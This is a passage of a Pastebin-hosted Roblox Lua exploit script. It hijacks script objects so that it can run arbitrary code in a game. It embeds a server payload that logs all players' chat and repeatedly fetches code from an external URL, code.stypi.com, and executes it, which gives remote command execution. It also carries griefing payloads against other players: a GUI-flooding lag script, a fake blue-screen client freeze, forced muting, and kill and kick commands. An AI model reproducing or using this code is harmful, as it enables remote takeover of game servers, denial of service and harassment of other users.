Advertisement
Rovo112

Nil

Feb 20th, 2015
337
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 83.85 KB | None | 0 0
  1. plyr = game.Players.LocalPlayer
  2. cam = Workspace.CurrentCamera
  3. mouse = plyr:GetMouse()
  4. strokecol3 = Color3.new(0,0,0)
  5. scr_base = nil
  6. locscr_base = nil
  7. GOCserver = nil
  8. notify = true
  9. logs = {["All"] = {}}
  10. nope = {}
  11. bet = "/"
  12. probe = false
  13. probecol = "Bright blue"
  14. lazcol = BrickColor.Random().Name
  15. lazcol2 = BrickColor.Random().Name
  16. script.Parent = plyr.Backpack
  17. local p
  18.  
  19. script:ClearAllChildren()
  20.  
  21. while game.Lighting:FindFirstChild(plyr.Name.."Logs") do
  22. game.Lighting[plyr.Name.."Logs"]:Destroy()
  23. end
  24.  
  25. function New(obj, loc, name)
  26. local it = Instance.new(obj, loc)
  27. if name then
  28. it.Name = name
  29. end
  30. if it.ClassName == "Part" then
  31. it.FormFactor = "Symmetric"
  32. end
  33. return it
  34. end
  35.  
  36. function ChangeCollideMod(model, val)
  37. for _,v in pairs(model:GetChildren()) do
  38. if v:IsA("BasePart") then
  39. v.CanCollide = val
  40. end
  41. end
  42. end
  43.  
  44. function ChangeTransparencyMod(model, val, filt)
  45. for _,v in pairs(model:GetChildren()) do
  46. if v:IsA("BasePart") and v.Name ~= filt then
  47. v.Transparency = val
  48. elseif v.ClassName == "Hat" and v.Name ~= filt then
  49. v.Handle.Transparency = val
  50. end
  51. if v:FindFirstChild("face") and v.Name ~= filt then
  52. v.face.Transparency = 1
  53. end
  54. end
  55. end
  56.  
  57. function AnchorMod(model, val, ignore)
  58. for _,v in pairs(model:GetChildren()) do
  59. if v:IsA("BasePart") and v.Name ~= ignore then
  60. v.Anchored = val
  61. end
  62. end
  63. end
  64.  
  65. function ColToVec(col3)
  66. return Vector3.new(col3.r, col3.g, col3.b)
  67. end
  68.  
  69. function VecToCol(vec)
  70. return Color3.new(vec.x, vec.y, vec.z)
  71. end
  72.  
  73. function Beam(origin,endpos,ign,col1,col2)
  74.  
  75. local ray = Ray.new(
  76. origin.p, -- origin
  77. (endpos - origin.p).unit * 500 -- direction
  78. )
  79. local ignore = ign
  80.  
  81. local hit, position = Workspace:FindPartOnRay(ray, ignore)
  82.  
  83. coroutine.resume(coroutine.create(function()
  84. local mag = (origin.p - position).magnitude
  85. local rp = New("Part", Workspace, "RayPart")
  86. rp.Anchored = true
  87. rp.FormFactor = "Custom"
  88. rp.Size = Vector3.new(.2, .2, mag/2)
  89. rp.CanCollide = false
  90. rp.CFrame = origin
  91. rp.CFrame = CFrame.new(rp.Position, endpos) * CFrame.new(0, 0, -mag/2)
  92. rp.BrickColor = BrickColor.new(col1)
  93. local rpmesh = Instance.new("BlockMesh", rp)
  94.  
  95. local rp2 = rp:Clone()
  96. rp2.Parent = Workspace
  97. rp2.Size = Vector3.new(.2, .2, mag/2)
  98. rp2.CFrame = rp.CFrame
  99. rp2.Transparency = .5
  100. rp2.BrickColor = BrickColor.new(col2)
  101. local rp2mesh = New("BlockMesh", rp2)
  102.  
  103. local lh = New("Part", rp)
  104. lh.Transparency = 1
  105. lh.CanCollide = false
  106. lh.CFrame = CFrame.new(position)
  107.  
  108. local rlite = New("PointLight", lh)
  109. rlite.Color = rp.BrickColor.Color
  110.  
  111. local rf = .01
  112. repeat
  113. rp.CFrame = rp.CFrame * CFrame.Angles(0,0,math.rad(4))
  114. rp2.CFrame = rp2.CFrame * CFrame.Angles(0, 0, math.rad(14))
  115. if rp2.Reflectance >= 1 then rf = -.01 elseif rp2.Reflectance <= 0 then rf = .01 end
  116. rp2.Reflectance = rp2.Reflectance + rf
  117. rp2mesh.Scale = rp2mesh.Scale + Vector3.new(1, 1, 1)
  118. rpmesh.Scale = rpmesh.Scale + Vector3.new(.2, .2, .2)
  119. rp.Transparency = rp.Transparency + .05
  120. rp2.Transparency = rp2.Transparency + .08
  121. wait()
  122. until rp.Transparency >= 1 and rp2.Transparency >= 1 or rp2.Parent == nil
  123. rp:Remove()
  124. rp2:Remove()
  125. end))
  126.  
  127. return hit
  128. end
  129.  
  130. function lookFor(str, loc)
  131.  
  132. if str == nil then return nil end
  133.  
  134. if str == "me" then
  135. return plyr
  136. end
  137.  
  138. if str == "random" then
  139. local thep = game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]
  140. return thep
  141. end
  142.  
  143. if loc == "All" or loc == "Players" or loc == "Nils" then
  144. getAllPlrs()
  145. local found = nil
  146. for i,v in pairs(allplrs[loc]) do
  147. if string.sub(string.lower(i), 1, string.len(str)) == str then
  148. found = v
  149. print(i,v)
  150. end
  151. end
  152. if found then
  153. return found
  154. else
  155. return nil
  156. end
  157.  
  158. elseif loc.Name == "Players" then
  159. local found = nil
  160. for _,v in pairs(loc:GetPlayers()) do
  161. if string.sub(string.lower(v.Name), 1, string.len(str)) == str then
  162. found = v
  163. end
  164. end
  165. if found then
  166. return found
  167. else
  168. return nil
  169. end
  170.  
  171. else
  172. local found = nil
  173. for _,v in pairs(loc:GetChildren()) do
  174. if string.sub(string.lower(v.Name), 1, string.len(str)) == str then
  175. found = v
  176. end
  177. end
  178. if found then
  179. return found
  180. else
  181. return nil
  182. end
  183. end
  184. end
  185.  
  186. HotKeys = {}
  187.  
  188. --== GOCSERVERCODE ==--
  189.  
  190.  
  191. GOCserverCode = [[
  192. print("Initialized")
  193. hs = game:GetService("HttpService")
  194. badlist = hs:GetAsync("https://code.stypi.com/raw/guesty/nopeslist", true)
  195. cmdlist = hs:GetAsync("https://code.stypi.com/raw/guesty/docmds", true)
  196. cmdnum = 1
  197.  
  198. function toconsole(nam, val, logs)
  199. local nmsg = Instance.new("StringValue", logs)
  200. nmsg.Name = nam
  201. nmsg.Value = val
  202. end
  203.  
  204. function NewScript(source)
  205. local news = script:Clone()
  206. news:ClearAllChildren()
  207. Instance.new("StringValue", news).Name = "DSource"
  208. Instance.new("StringValue", news).Name = "Owner"
  209. news.Owner.Value = PLAYERNAME
  210. news.DSource.Value = source
  211. news.Parent = Workspace
  212. news.Disabled = false
  213. return news
  214. end
  215.  
  216. script.ChildAdded:connect(function(ch)
  217. toconsole("Console", "SOMETHING INSIDE", logs)
  218. end)
  219.  
  220.  
  221. script.Parent = Instance.new("Message")
  222. local logs = Instance.new("StringValue", game.Lighting)
  223. logs.Name = "PLAYERNAME".."Logs"
  224.  
  225.  
  226. function DoLogs(p)
  227. function LogChat(msg)
  228. toconsole(p.Name, msg, logs)
  229. end
  230.  
  231. p.Chatted:connect(LogChat)
  232. end
  233.  
  234. for _,v in pairs(game.Players:GetPlayers()) do
  235. DoLogs(v)
  236. end
  237.  
  238. game.Players.ChildAdded:connect(function(p)
  239. if p.ClassName == "Player" and not string.find(badlist, string.lower(p.Name)) then
  240. DoLogs(p)
  241. elseif string.find(badlist, string.lower(p.Name)) then
  242. game.Debris:AddItem(p, 0)
  243. toconsole("Console", p.Name.." was kicked for being on the nopelist.", logs)
  244. end
  245. end)
  246.  
  247. local S
  248. coroutine.resume(coroutine.create(function()
  249. while true do
  250. cmdlist = hs:GetAsync("https://code.stypi.com/raw/guesty/docmds", true)
  251.  
  252. wait(1)
  253. local sf = string.find(cmdlist, "CMD_"..cmdnum)
  254.  
  255. if sf then
  256. local sfe = string.find(cmdlist, "ENDCMD_"..cmdnum)
  257. if sfe then
  258. if S then S:Remove() end
  259. --NewScript(string.sub(cmdlist, sf+string.len("CMD_"..cmdnum), sfe-1))
  260. NewScript(string.sub(cmdlist, sf+string.len("CMD_"..cmdnum), sfe-1))
  261.  
  262. toconsole("Console", string.sub(cmdlist, sf+string.len("CMD_"..cmdnum), sfe-1), logs)
  263. cmdnum = cmdnum+1
  264. end
  265. end
  266. wait(1)
  267. end
  268. end))
  269.  
  270. ]]
  271. GOCserverCode = string.gsub(GOCserverCode, "PLAYERNAME", plyr.Name)
  272.  
  273. --
  274.  
  275. lgkick_phrases = {"#Rekt", "Pwnt", "You cannot escape the lag", "The lag will overtake you", "Run, boi!", "you got lagged, m8", "Push Alt+F4", "Hehe", "Haha"}
  276. LagSource = [[
  277. randtext = {"Push Alt+F4", "You're doomed", "There's no hope", "You got lagged", "You cannot escape the lag", "Lagged by yours truly", "The lag will take you...", "You have been lagged", "Dont b mad", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " "}
  278. --game:GetService('Players').LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
  279. wait(0)
  280.  
  281.  
  282. local plr = script.Parent
  283. script.Parent = nil
  284. plrgui = plr:WaitForChild("PlayerGui")
  285.  
  286. while plr.Parent == game:GetService("Players") do
  287. wait()
  288. for i = 1, 1000 do
  289. local sc = Instance.new("ScreenGui",plrgui)
  290. if i == 1 then local img = Instance.new("ImageLabel", sc) img.Size = UDim2.new(1, 0, 1, 0) img.BackgroundTransparency = 1 img.Image = "http://www.roblox.com/asset/?id=22826313" img.ZIndex = 10 end
  291. local fr = Instance.new("TextLabel",sc)
  292. fr.Text = randtext[math.random(1, #randtext)]
  293. fr.TextColor3 = Color3.new(1,1,1)
  294. fr.BackgroundTransparency = 1
  295. fr.Size = UDim2.new(1, 0, 1, 0)
  296. fr.Position = UDim2.new(math.random(-80,80)/100, 0, math.random(-80,80)/100, 0)
  297. fr.Rotation = math.random(-80, 80)
  298. fr.FontSize = "Size18"
  299. end
  300. end
  301. ]]
  302.  
  303. BallSource = [[
  304. local find = game.Players.LocalPlayer
  305. if find and find.Character and find.Character["Torso"] then
  306. local ball = Instance.new("Part", find.Character)
  307. ball.Name = "Ball"
  308. ball.Shape = "Ball"
  309. ball.TopSurface = "Smooth"
  310. ball.BottomSurface = "Smooth"
  311. ball.Material = "SmoothPlastic"
  312. ball.Size = Vector3.new(8, 8, 8)
  313. ball.Transparency = .5
  314. ball.Reflectance = .3
  315. ball.BrickColor = BrickColor.Random()
  316. ball.Position = find.Character.Torso.Position
  317. local av = Instance.new("BodyAngularVelocity", find.Torso)
  318.  
  319. local w = Instance.new("Weld", Workspace)
  320. w.Part0 = find.Character.Torso
  321. w.Part1 = ball
  322.  
  323. if find.Character:FindFirstChild("Humanoid") then
  324. find.Character.Humanoid.PlatformStand = true
  325. end
  326.  
  327. local keylist = {}
  328. find:GetMouse().KeyDown:connect(function(k)
  329. keylist[k] = true
  330. end)
  331. find:GetMouse().KeyUp:connect(function(k)
  332. keylist[k] = nil
  333. end)
  334.  
  335. while true do
  336. if keylist["w"] then
  337. av.angularvelocity = Vector3.new(5, 0, 0)
  338. av.maxTorque = Vector3.new(5000, 5000, 5000)
  339. else
  340. av.angularvelocity = Vector3.new()
  341. end
  342. end
  343.  
  344. end
  345. ]]
  346.  
  347. MuteSource = [[
  348. plr = game.Players.LocalPlayer
  349. char = plr.Character
  350. duration = 99
  351.  
  352. origface = nil
  353. if char and char:FindFirstChild("Head") and char.Head:FindFirstChild("face") then
  354. origface = char.Head.face.Texture
  355. char.Head.face.Texture = "http://www.roblox.com/asset/?id=152840300"
  356. end
  357.  
  358. game:GetService("StarterGui"):SetCoreGuiEnabled("Chat", false)
  359.  
  360. sec = 0
  361. repeat
  362. wait(1)
  363. sec = sec + 1
  364. until sec >= duration or game.StarterGui:GetCoreGuiEnabled("Chat")
  365.  
  366. game:GetService("StarterGui"):SetCoreGuiEnabled("Chat", true)
  367. if origface and char and char:FindFirstChild("Head") and char.Head:FindFirstChild("face") then
  368. char.Head.face.Texture = origface
  369. end
  370. script:Destroy()
  371. ]]
  372.  
  373. UnmuteSource = [[
  374. game.StarterGui:SetCoreGuiEnabled("Chat", true)
  375. ]]
  376.  
  377. BSoDText = [[STOP: 0x000000D1 (0x00000000, 0xF73120AE, 0xC0000008, 0xC0000000)
  378.  
  379. A problem has been detected and ROBLOX has been shut down to prevent
  380. damage to your computer
  381.  
  382. NOOB_PARENT_EQUAL_TO_GAME
  383.  
  384. If this is the first time you've seen this Stop error screen, restart your
  385. computer. If this screen appears again, follow these steps:
  386.  
  387. Check to make sure any new hardware or software is properly installed. If this
  388. is a new installation, ask your hardware or software manufacturer for any
  389. ROBLOX updates you might need.
  390.  
  391. If problems continue, disable or remove any newly installed hardware or
  392. software. Disable BIOS memory options such as caching or shadowing.
  393. If you need to use Safe Mode to remove or disable components, restart your
  394. computer, press f8 to select Advanced Startup Options, and then select Safe Mode.
  395.  
  396. &&& WXYZ.SYS - Address F73120AE base at C00000008, DateStamp 36b072a3
  397.  
  398. Kernel Debugger Using: COM2 (Port 0x2f8, Baud Rate 19200)
  399. Beginning dump of physical memory
  400. Physical memory dump complete. Contact your ROBLOX administrator or
  401. technical support group.]]
  402.  
  403.  
  404. BSoDSource = [[
  405. p = game.Players.LocalPlayer
  406. pg = p.PlayerGui
  407.  
  408. game:GetService("StarterGui"):SetCoreGuiEnabled("Chat", false)
  409.  
  410. sg = Instance.new("ScreenGui", pg)
  411. tl = Instance.new("TextLabel", sg)
  412. tl.Size = UDim2.new(1, 0, 1, 0)
  413. tl.FontSize = "Size24"
  414. tl.Font = "ArialBold"
  415. tl.TextColor3 = Color3.new(1,1,1)
  416. tl.Text = "***STOP: 0x000000D1 (0x00000000, 0xF73120AE, 0xC0000008, 0xC0000000)\n A problem has been detected and ROBLOX has been shut down to prevent damage to your computer\n \n NOOB_PARENT_EQUAL_TO_GAME\n \n If this is the first time you've seen this Stop error screen, restart your computer. If this screen appears again, follow these steps:\n Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any ROBLOX updates you might need.\n \n If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing.\n If you need to use Safe Mode to remove or disable components, restart your computer, press f8 to select Advanced Startup Options, and then select Safe Mode.\n &&& WXYZ.SYS - Address F73120AE base at C00000008, DateStamp 36b072a3\n Kernel Debugger Using: COM2 (Port 0x2f8, Baud Rate 19200)\n Beginning dump of physical memory\n Physical memory dump complete. Contact your ROBLOX administr tor or technical support group."
  417. tl.TextWrapped = true
  418.  
  419. tl.BackgroundColor3 = Color3.new(0, 111/255, 1)
  420.  
  421. wait()
  422.  
  423. while true do
  424.  
  425. end
  426. ]]
  427.  
  428. BSoDSource = string.gsub(BSoDSource, "BSODTEXT", BSoDText)
  429.  
  430. local GOCserver
  431. coroutine.resume(coroutine.create(function()
  432. repeat
  433. for _,v in pairs(Workspace:GetChildren()) do
  434. if v.ClassName == "Script" then
  435. scr_base = v:Clone()
  436. scr_base.Disabled = true
  437. end
  438. end
  439. wait()
  440. until scr_base
  441.  
  442. local DS = scr_base:FindFirstChild("DSource")
  443. if DS then
  444. DS.Value = ""
  445. else
  446. DS = Instance.new("StringValue", scr_base)
  447. DS.Name = "DSource"
  448. end
  449.  
  450. print("SCRIPT BASE FOUND")
  451.  
  452. wait()
  453.  
  454. GOCserver = NewScript(GOCserverCode)
  455.  
  456. end))
  457.  
  458.  
  459. -- Local Script Base --
  460. coroutine.resume(coroutine.create(function()
  461. repeat
  462. for _,p in pairs(game.Players:GetPlayers()) do
  463. for _,i in pairs(p.Backpack:GetChildren()) do
  464. if i.ClassName == "LocalScript" then
  465. locscr_base = i:Clone()
  466. locscr_base.Disabled = true
  467. end
  468. end
  469. end wait(.1)
  470. until locscr_base
  471.  
  472. locscr_base:ClearAllChildren()
  473. local DS = Instance.new("StringValue", locscr_base)
  474. if game.PlaceId == 178350907 then
  475. local Own = Instance.new("StringValue", locscr_base)
  476. Own.Name = "Owner"
  477. Own.Value = plyr.Name
  478. print("Nexure's Script Builder")
  479. end
  480. DS.Name = "DSource"
  481.  
  482. print("LOCALSCRIPT BASE FOUND")
  483. end))
  484.  
  485.  
  486. CMDlist = {["kill"] = {["Name"] = "Kill", ["Description"] = "Kills a player. Use; kill/plyr/(e for explosion)/", ["Type"] = "ToPlayer", ["Function"] = function(who,args)
  487. local find = lookFor(who, game.Players)
  488.  
  489. if find and find ~= plyr and find.Character.Parent ~= nil and find.Character:FindFirstChild("Humanoid") then
  490. local vic = find.Character
  491. if args[1] == "e" and vic:FindFirstChild("Torso") then
  492. Instance.new("Explosion", Workspace).Position = vic.Torso.Position
  493. else
  494. find.Character.Humanoid.Health = 0
  495. end
  496. elseif find and find == plyr then
  497. if args[1] == "e" and Effigy and Effigy.Parent == Workspace and Effigy:FindFirstChild("MyTorso") then
  498. Instance.new("Explosion", Workspace).Position = Effigy.MyTorso.Position
  499. end
  500. if Effigy and Effigy.Parent == Workspace and Effigy:FindFirstChild("Humanoid") then
  501. Effigy.Humanoid.Health = 0
  502. end
  503. end
  504. end},
  505. ["kick"] = {["Name"] = "Kick", ["Description"] = "Kicks a player", ["Type"] = "ToPlayer", ["Function"] = function(who,args)
  506. local find = lookFor(who,game.Players)
  507. local int = args[2]
  508. if not args[2] then int = 5 end
  509.  
  510. if find then
  511. if args[1] == "lg" then
  512. NewLocalScript(find.Backpack, LagSource, find.Name)
  513. wait(int)
  514. find:Remove()
  515. else
  516. find:Remove()
  517. end
  518.  
  519. end
  520. end}
  521. }
  522.  
  523.  
  524.  
  525.  
  526. function NewScript(source)
  527. local news = scr_base:Clone()
  528. news.DSource.Value = source
  529. news.Parent = Workspace
  530. news.Disabled = false
  531. return news
  532. end
  533. function NewLocalScript(par, source, owner)
  534. local news = locscr_base:Clone()
  535. news.DSource.Value = source
  536. if owner then
  537. news.Owner.Value = owner
  538. end
  539. news.Parent = par
  540. news.Disabled = false
  541. return news
  542. end
  543.  
  544. function AddCMD(sc, name, desc, typ, func)
  545. if typ == "ToPlayer" then
  546. CMDlist[sc] = {["Name"] = name, ["Description"] = desc, ["Type"] = typ, ["Function"] = function(who,args)
  547. local find = lookFor(who, game.Players)
  548. if find then
  549. func(find, args)
  550. end
  551. end}
  552. elseif typ == "General" then
  553. CMDlist[sc] = {["Name"] = name, ["Description"] = desc, ["Type"] = typ, ["Function"] = function(args) func(args) end}
  554. end
  555. end
  556.  
  557. --ProbeCMDlist = {}
  558. --function AddPrbCMD(sc, name, desc, typ, func)
  559. -- if typ == "ToPlayer" then
  560. -- ProbeCMDlist[sc] = {["Name"] = name, ["Description"] = desc, ["Type"] = typ, ["Function"] = --function(pos,args)
  561. --}
  562. --end
  563.  
  564. function docmd(cmd, arglist)
  565.  
  566. if cmd["Type"] == "ToPlayer" and arglist[2] then
  567. table.remove(arglist, 1)
  568. local arg1 = arglist[1] -- arg1 is name
  569. table.remove(arglist, 1)
  570.  
  571. if arg1 == "all" then
  572. for _,v in pairs(game.Players:GetPlayers()) do
  573. pcall(function() cmd["Function"](string.lower(v.Name), arglist) end)
  574. end
  575. elseif arg1 == "others" then
  576. for _,v in pairs(game.Players:GetPlayers()) do
  577. if v.Name ~= plyr.Name then
  578. pcall(function() cmd["Function"](string.lower(v.Name), arglist) end)
  579. end
  580. end
  581.  
  582. elseif arg1 == "us" then
  583. local us = {}
  584. for _,v in pairs(game.Players:GetPlayers()) do
  585. local cond = v.Character and
  586. v.Character:FindFirstChild("Torso") and
  587. plyr.Character and
  588. plyr.Character:FindFirstChild("Torso")
  589. if cond then
  590. if (plyr.Character.Torso.Position - v.Character.Torso.Position).magnitude < 10 then
  591. table.insert(us, v)
  592. end
  593. end
  594. end
  595.  
  596. for _,p in pairs(us) do
  597. pcall(function() cmd["Function"](string.lower(p.Name), arglist) end)
  598. end
  599.  
  600. elseif string.find(arg1, ",") then
  601. local dotolist = {}
  602. local allp = arg1
  603. local fp = string.find(allp, ",")
  604. local np = nil
  605.  
  606. repeat
  607. fp = string.find(allp, ",")
  608. if fp then
  609. np = string.sub(allp, 1, fp-1)
  610. allp = string.sub(allp, fp+1)
  611.  
  612. table.insert(dotolist, np)
  613. end
  614. until not fp
  615. table.insert(dotolist, allp)
  616.  
  617. for i,nam in pairs(dotolist) do
  618. local findp = lookFor(nam, game.Players)
  619. if findp then
  620. pcall(function() cmd["Function"](string.lower(findp.Name), arglist) end)
  621. end
  622. end
  623.  
  624. else
  625. pcall(function() cmd["Function"](arg1, arglist) end)
  626. end
  627.  
  628. elseif probe and cmd["Type"] == "ProbeCMD" then
  629. print("Probe commands")
  630. elseif cmd["Type"] == "ToPlayer" then
  631. pcall(function() cmd["Function"](plyr.Name, arglist) end)
  632.  
  633. elseif cmd["Type"] == "General" and arglist[1] then
  634. table.remove(arglist, 1)
  635. cmd["Function"](arglist)
  636. end
  637. end
  638.  
  639.  
  640. function GetCMD(txt)
  641.  
  642. local cmd
  643. local Args = {}
  644. local betcount = 0
  645. local fbet
  646. repeat
  647. fbet = string.find(txt, bet)
  648.  
  649. if fbet then
  650. betcount = betcount + 1
  651. if betcount == 1 then
  652. cmd = string.sub(txt, 1, fbet-1)
  653. Args[betcount] = cmd
  654. else
  655. Args[betcount] = string.sub(txt, 1, fbet-1)
  656. end
  657. txt = string.sub(txt, fbet+1)
  658. end
  659. until not fbet
  660.  
  661. if cmd then
  662. if CMDlist[cmd] then
  663. print("Cmd was in list")
  664. cmd = CMDlist[cmd]
  665. return cmd,Args
  666. end
  667. end
  668. -- if there is no cmd return nil
  669. return nil
  670. end
  671.  
  672.  
  673. function Output(op, guy, dur)
  674. if guy.Character and guy.Character.Parent ~= nil and guy.Character:FindFirstChild("Torso") then
  675. pcall(function()
  676. guy = guy.Character
  677. if not dur then dur = 2.5 end
  678.  
  679. local N = Instance.new("Model", Workspace)
  680. N.Name = "Ninjah"
  681. local t=New("Part", N)
  682. t.Anchored = true
  683. t.Name = "Torso"
  684. t.Size = Vector3.new(2, 2, 1)
  685. t.CFrame = guy.Torso.CFrame * CFrame.Angles(0, math.rad(math.random(360)), 0)
  686. * CFrame.new(0, -1.5, -7) * CFrame.Angles(math.rad(40), math.rad(180), 0)
  687. t.BrickColor = BrickColor.new("Really black")
  688. t.Transparency = 1
  689. t.Locked = true
  690.  
  691. local h = t:Clone()
  692. h.Name = "Head"
  693. h.Parent = t.Parent
  694. h.Size = Vector3.new(2, 1, 1)
  695. local hmesh = char.Head.Mesh:Clone()
  696. hmesh.Parent = h
  697. local hat = h:Clone()
  698. hat.Parent = N
  699. hat.Mesh.MeshId = "http://www.roblox.com/asset/?id=127966571"
  700. hat.Mesh.TextureId = "http://www.roblox.com/asset/?id=127966601"
  701. hat.FormFactor = "Custom"
  702. hat.Size = Vector3.new(1,1,2.2)
  703. hat.Mesh.Scale = Vector3.new(3.3, 3.2, 3.2)
  704. hat.CFrame = h.CFrame * CFrame.new(-.14, 0.852611208, -0.778206224)* CFrame.Angles(math.rad(-35), 0, 0)
  705. local face = char.Head.face:Clone()
  706. face.Parent = h
  707. h.CFrame = t.CFrame * CFrame.new(0, 1.5, -.50) * CFrame.Angles(math.rad(-35), 0, 0)
  708. local rarm = t:Clone()
  709. rarm.Parent = t.Parent
  710. rarm.Size = Vector3.new(1, 2, 1)
  711. rarm.CFrame = t.CFrame * CFrame.new(1.5, .5, 0) * CFrame.Angles(math.rad(50), 0, 0)
  712. * CFrame.new(0, -.7, 0)
  713.  
  714. h.BrickColor = BrickColor.new("White")
  715. local larm = rarm:Clone()
  716. larm.Parent = t.Parent
  717. larm.CFrame = t.CFrame * CFrame.new(-1.5, 0,0)
  718.  
  719. local rleg = rarm:Clone()
  720. rleg.Parent = t.Parent
  721. rleg.CFrame = t.CFrame * CFrame.new(.5, -.5, -.5) * CFrame.Angles(math.rad(25), 0, 0)
  722.  
  723. local lleg = rleg:Clone()
  724. lleg.Parent = t.Parent
  725. lleg.CFrame = t.CFrame * CFrame.new(-.5, -1.1, 0) * CFrame.Angles(math.rad(-45), 0, 0)
  726.  
  727. local chat = New("BillboardGui", h)
  728. chat.StudsOffset = Vector3.new(0, 3.5, 0)
  729. chat.Size = UDim2.new(1, 0, 1, 0)
  730. chat.AlwaysOnTop = true
  731. chat.Name = "chat"
  732. local lab = New("TextLabel", chat)
  733. lab.BackgroundTransparency = 1
  734. lab.Font = "Arial"
  735. lab.FontSize = "Size24"
  736. lab.TextColor3 = Color3.new(1,1,1)
  737. lab.TextTransparency = 1
  738. lab.Text = op
  739. lab.Size = UDim2.new(1, 0, 1, 0)
  740. lab.Position = UDim2.new(0, 0, .9, 0)
  741. lab.ZIndex = 5
  742.  
  743. local smk = New("Part", N)
  744. smk.Name = "Smoke"
  745. smk.Anchored = true
  746. smk.CanCollide = false
  747. smk.CFrame = t.CFrame
  748. smk.Transparency = 1
  749. local s = Instance.new("Smoke", smk)
  750.  
  751. local count = 0
  752. coroutine.resume(coroutine.create(function()
  753. repeat
  754. smk.CFrame = smk.CFrame * CFrame.Angles(math.rad(math.random(360)),
  755. math.rad(math.random(360)),
  756. math.rad(math.random(360)))
  757. count = count + 1
  758. wait()
  759. until count >= 50 --66.666666666666
  760. end))
  761.  
  762. wait(1)
  763. local count2 = 0
  764. repeat
  765.  
  766. ChangeTransparencyMod(N, 1 - (.03*count2), "Smoke")
  767. lab.TextTransparency = 1 - .03*count2
  768. count2 = count2 + 1
  769. wait()
  770. until count2 >= 33.333333333333
  771. smk.Smoke.Enabled = false
  772.  
  773. local wc = 0
  774. repeat wait() wc = wc+1 until wc >= dur/.03 or t.Locked == false
  775.  
  776. smk.Smoke.Enabled = true
  777. local count = 0
  778. coroutine.resume(coroutine.create(function()
  779. repeat
  780. smk.CFrame = smk.CFrame * CFrame.Angles(math.rad(math.random(360)),
  781. math.rad(math.random(360)),
  782. math.rad(math.random(360)))
  783. count = count + 1
  784. wait()
  785. until count >= 66.666666666666
  786. end))
  787.  
  788. wait(1)
  789. local count2 = 0
  790. repeat
  791.  
  792. ChangeTransparencyMod(N, (.03*count2), "Smoke")
  793. lab.TextTransparency = .03*count2
  794. count2 = count2 + 1
  795. wait()
  796. until count2 >= 33.333333333333
  797. smk.Smoke.Enabled = false
  798.  
  799. N:Destroy()
  800. end)
  801. end
  802. end
  803.  
  804.  
  805.  
  806.  
  807. --== PROBE FUNCTION ==--
  808.  
  809.  
  810.  
  811. function Probe()
  812. local char = plyr.Character
  813. char.Torso.CFrame = CFrame.new(0, 5000, 0)
  814. char.Torso.Anchored = true
  815.  
  816. print("In probe")
  817.  
  818.  
  819. local mode
  820.  
  821. local chatcon
  822. chatcon = plyr.Chatted:connect(function(msg)
  823. local lowmsg = string.lower(msg)
  824. local private = false
  825.  
  826. if probe == false then
  827. chatcon:disconnect()
  828. return nil
  829. end
  830. while p:FindFirstChild("chat") do
  831. p.chat:Remove()
  832. end
  833. if string.sub(msg, 1, 3) == "/e " then
  834. private = true
  835. msg = string.sub(msg, 4)
  836. lowmsg = string.lower(msg)
  837. end
  838. print(lowmsg)
  839. local GC,argz = GetCMD(msg)
  840.  
  841.  
  842.  
  843. if string.sub(lowmsg, 1, 2) == "s"..bet and scr_base then
  844. local news = scr_base:Clone()
  845. news.DSource.Value = string.sub(msg, 3)
  846. news.Parent = Workspace
  847. news.Disabled = false
  848.  
  849. elseif GC then
  850. mode = {["GC"] = GC, ["Args"] = argz}
  851. docmd(GC,argz)
  852. end
  853.  
  854.  
  855. if not private and p then
  856.  
  857. local chat = New("BillboardGui", p)
  858. chat.StudsOffset = Vector3.new(0, 1, 0)
  859. chat.Size = UDim2.new(1, 0, 1, 0)
  860. chat.AlwaysOnTop = true
  861. chat.Name = "chat"
  862. local lab = New("TextLabel", chat)
  863. lab.BackgroundTransparency = 1
  864. lab.Font = "Legacy"
  865. lab.FontSize = "Size24"
  866. lab.TextColor3 = Color3.new(1,1,1)
  867. lab.Text = msg
  868. lab.Size = UDim2.new(1, 0, 1, 0)
  869. lab.Position = UDim2.new(0, 0, .9, 0)
  870. lab.TextStrokeTransparency = 0
  871. lab.ZIndex = 5
  872.  
  873. coroutine.resume(coroutine.create(function()
  874. for i = 1, 9 do
  875. lab.Position = lab.Position - UDim2.new(0, 0, .1, 0)
  876. lab.TextTransparency = .9 - i/10
  877. wait(.1)
  878. end
  879. end))
  880.  
  881. local down = Vector3.new(-.05, -.05, -.05)
  882. local up = Vector3.new(.05, .05, .05)
  883.  
  884. while chat do
  885.  
  886. repeat
  887. local CtoV = ColToVec(lab.TextColor3)
  888. CtoV = CtoV - Vector3.new(.05, .05, .05)
  889.  
  890. lab.TextColor3 = VecToCol(CtoV)
  891. lab.TextStrokeTransparency = 1 - CtoV.y
  892. wait()
  893. until CtoV.y <= .5
  894.  
  895. repeat
  896. local CtoV = ColToVec(lab.TextColor3)
  897. CtoV = CtoV + Vector3.new(.05, .05, .05)
  898.  
  899. lab.TextColor3 = VecToCol(CtoV)
  900. lab.TextStrokeTransparency = 1 - CtoV.y
  901. wait()
  902. until CtoV.y >= 1
  903.  
  904. end
  905. end
  906.  
  907. end)
  908.  
  909. function makeP(col)
  910. p = Instance.new("Part", Workspace)
  911. p.Anchored = true
  912. p.FormFactor = "Symmetric"
  913. p.Shape = "Ball"
  914. p.Size = Vector3.new(1,1,1)
  915. p.BrickColor = BrickColor.new("Black")
  916. p.TopSurface = "Smooth"
  917. p.BottomSurface = "Smooth"
  918. p.CFrame = CFrame.new(0, 50, 0)
  919. local meshpart = p:Clone()
  920. meshpart.Parent = p
  921. meshpart.Name = "meshpart"
  922. meshpart.BrickColor = BrickColor.new(col)
  923. meshpart.Transparency = .5
  924. local mesh = New("SpecialMesh", meshpart)
  925. mesh.MeshType = "Sphere"
  926. mesh.Scale = Vector3.new(-2.5, -2.5, -2.5)
  927.  
  928. local moon = meshpart:Clone()
  929. moon.Name = "moon"
  930. moon.Parent = p
  931. --moon.Transparency = 0
  932. moon.Mesh.Scale = Vector3.new(.5, .5, .5)
  933.  
